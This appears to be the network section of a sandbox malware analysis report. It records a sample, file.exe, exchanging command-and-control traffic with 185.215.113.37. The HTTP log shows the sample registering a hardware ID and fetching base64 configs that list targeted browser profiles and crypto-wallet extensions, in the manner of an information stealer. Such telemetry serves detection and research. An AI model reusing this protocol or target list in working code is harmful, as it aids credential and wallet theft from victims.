Oct 20, 2024 23:43:13.979074955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.979089022 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.979110003 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.979110003 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.979110003 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.979125977 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.011320114 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.016160011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.357407093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.357547045 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.357815981 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.357825041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.357839108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.357857943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.357861996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.357868910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.357882977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.357888937 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.357928991 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.358072042 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.358196020 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.358230114 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.358270884 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.358350992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.358419895 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.358477116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.358514071 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.358669043 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.358717918 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.358814955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.358829021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.358853102 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.358871937 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361109972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361248970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361296892 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361366034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361530066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361542940 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361555099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361568928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361579895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361582994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361593008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361603022 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361608028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361622095 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361622095 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361634970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361650944 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361675978 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361677885 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361696959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361706972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361721039 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361731052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361737013 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361747980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361757994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361764908 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361772060 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361778021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361790895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361802101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361805916 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361831903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361835003 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361851931 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361865044 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361876011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361887932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361890078 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361901999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361908913 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361916065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361927032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361928940 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361939907 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361958027 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361965895 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.361970901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361988068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.361995935 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362009048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362016916 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362020969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362034082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362040043 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362046957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362059116 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362059116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362073898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362085104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362093925 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362098932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362111092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362113953 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362123966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362135887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362144947 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362153053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362165928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362174988 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362179041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362191916 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362194061 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362204075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362215996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362225056 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362229109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362241983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362252951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362252951 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362267017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362277031 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362277985 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362293959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.362296104 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362323999 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.362349987 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.926611900 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.926646948 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:14.931519032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:14.931600094 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:15.774102926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:15.776782036 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:15.845875978 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:15.850990057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:16.193557978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:16.193574905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:16.193589926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:16.193694115 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:16.193829060 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:16.193829060 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:16.197652102 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:16.202558994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:16.545578003 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:16.545866966 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:16.559145927 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:16.564147949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.401324034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.401391029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:17.429124117 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:17.434079885 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782083035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782104015 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782114029 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782222986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782233000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782236099 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:17.782246113 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782259941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782304049 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:17.782330036 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782330990 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:17.782371998 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:17.782391071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782457113 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:17.782490969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782501936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782510996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:17.782593966 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:17.785635948 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:17.790575027 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:18.628643036 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:18.628696918 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:23.074302912 CEST	49708	80	192.168.2.11	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 23:43:19.684793949 CEST	53	57628	1.1.1.1	192.168.2.11

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49708	185.215.113.37	80	5944	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 20, 2024 23:42:59.718060017 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 23:43:00.850471020 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 23:43:00.863657951 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCGIJDAFBKFIECBGCA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 33 46 42 37 41 45 33 39 32 39 34 32 36 36 34 39 38 37 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="hwid"9F3FB7AE39294266498721------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="build"doma------BAFCGIJDAFBKFIECBGCA--
Oct 20, 2024 23:43:01.227313995 CEST	407	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:01 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 4d 78 4e 57 51 79 5a 44 67 31 59 7a 6c 6a 4e 44 41 79 59 32 59 34 4d 44 67 7a 59 6d 51 31 4d 6a 4d 77 59 7a 68 6c 4d 32 49 34 4d 6a 45 77 4d 6a 41 34 4d 54 55 31 4e 7a 51 33 59 6a 41 7a 4e 44 63 77 5a 6a 4a 69 5a 6d 51 30 4e 6a 67 30 4d 7a 59 34 5a 44 45 35 59 32 5a 6b 4d 54 67 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDMxNWQyZDg1YzljNDAyY2Y4MDgzYmQ1MjMwYzhlM2I4MjEwMjA4MTU1NzQ3YjAzNDcwZjJiZmQ0Njg0MzY4ZDE5Y2ZkMTgxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 20, 2024 23:43:01.229146957 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKECFCFBGCAAKEGIJD Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------AEBKECFCFBGCAAKEGIJDContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------AEBKECFCFBGCAAKEGIJDContent-Disposition: form-data; name="message"browsers------AEBKECFCFBGCAAKEGIJD--
Oct 20, 2024 23:43:01.577569008 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:01 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 20, 2024 23:43:01.577586889 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 20, 2024 23:43:01.579581022 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJK Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="message"plugins------DAKFIDHDGIEGCAKFIIJK--
Oct 20, 2024 23:43:01.928065062 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:01 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 